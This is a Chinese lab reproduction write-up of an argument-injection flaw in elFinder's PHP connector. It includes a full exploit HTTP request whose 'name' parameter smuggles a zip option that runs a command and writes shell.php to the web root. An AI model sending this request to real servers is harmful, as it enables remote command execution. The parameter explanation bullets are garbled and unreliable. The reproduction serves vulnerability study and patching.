漏洞描述

elFinder 是一个用于 Web 的开源文件管理器,使用 jQuery UI 用 JavaScript 编写。

在 elFinder 2.1.48 及更早版本中发现一个参数注入漏洞。此漏洞可能允许攻击者在托管 elFinder PHP 连接器的服务器上执行任意命令,即使配置最少也是如此。这些问题已在版本 2.1.59 中修补。解决方法是,确保连接器不会在未经身份验证的情况下公开。

引用:

漏洞环境及利用

搭建docker环境

访问8080端口

 

创建1.txt 

右键创建2.zip

然后,发送以下请求以执行任意命令:

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
 

在此请求中,您可以看到 3 个重要参数:

  • name,则其值等于 ,可以修改为任意命令-TvTT=id>shell.php # a.zipid>shell.php
  • targets[0],则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_MS50eHQl1MS50eHQ1.txt
  • targets[1],则其值等于 。 表示第一个存储卷,是 base64 编码的字符串l1_Mi56aXAl1Mi56aXA2.zip

尽管此请求响应了错误消息,但我们的命令已执行并已写入:shell.phphttp://your-ip:8080/files/shell.php

 

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐